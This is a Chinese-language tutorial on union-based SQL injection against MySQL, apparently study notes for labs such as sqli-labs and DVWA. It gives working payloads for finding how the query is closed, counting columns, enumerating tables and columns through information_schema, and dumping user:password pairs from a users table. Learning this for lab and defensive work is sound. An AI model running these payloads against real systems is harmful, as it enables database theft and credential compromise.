一、Union注入
联合查询注入是联合两个表进行注入攻击,使用关键词 union select 对两个表进行联合查询。两个表的字段数要相同,不然会出现报错。列数相同
union 特性是显示两张表 我们就可以吧第一个参数变为------负--的 或者不存在的值 就行了 显示就是以第二张表为主
二、判断闭合方式
1、如果都报错,则为整形闭合。
2、如果单引号报错,双引号不报错。然后尝试?id=1 ---- 无报错则单引号闭合。报错则单引号加括号。
3、如果单引号不报错,双引号报错。然后尝试?id=1"----无报错则双引号闭合。报错则双引号加括号。
4、判断真值的方法是指通过构造一个条件语句,利用应用程序返回的结果来判断闭合方式
如果是没有报错回显的情况,则可以用判断真值的方法来判断闭合方式。
例如:输入index.php?id=1',页面显示错误
再输入index.php?id=1' --+,页面显示正确
sqli labs 是双引号闭合
dvwa 是单引号闭合
三、以MySQL注入为例
1、在参数后添加引号尝试报错,并用and 1=1#
和and 1=2#
测试报错
?id=1' and 1=1# 页面返回正常
?id=1' and 1=2# 页面返回不正常
2、利用order by
猜测字段
使用语句 order by 确定当前表的字符数。
order by 1 如果页面返回正常,字段数不少于1。
order by 2 如果页面返回正常,字段数不少于2。
如此类推,直到页面出错,正确的字段数是出错数字减1。
公式 order by n-1
1' order by 1--空格 正常
1' order by 2--空格 正常
1' order by 3--空格 出错
3、利用union联合查询
-1' union select 1,2--+ --看哪个字段可以显示信息,利用它获取数据库信息
--修改id为一个不存在的id,强行报错
--因为代码默认只返回第一条结果,不会返回 union select 的结果
4、获取数据库信息
-1' union select 1,version()--+
user() --获取数据库用户名
database() --获取数据库名
version() --获取数据库版本信息
--其它信息
@@datadir --数据库路径
@@version_compile_os --操作系统版本
5、查询数据库的表
id=-1%27 union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)--+
--table_schema=数据库名16进制或者用单引号括起来
--改变limit 0,1中前一个参数,得到所有表
6、查询数据库字段
同样的查询字段也可以通过内置库 information_schema 里的 COLUMNS,这个表记录所有表的字段。通过 COLUMNS 查询 users 表的字段。
获取 users 表第一个字段名:
-1' union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 1)--+
获取 users 表第二个字段名:
-1' union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 1,1)--+
获取 users 表第三个字段名:
-1' union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 2,1)--+
7、脱库,获取数据
通过以上的黑盒查询,获取库名、表名、字段,那么就可以查询某个表的内容。
-1' union select 1,(select group_concat(user,0x3a,password) from users limit 1)--+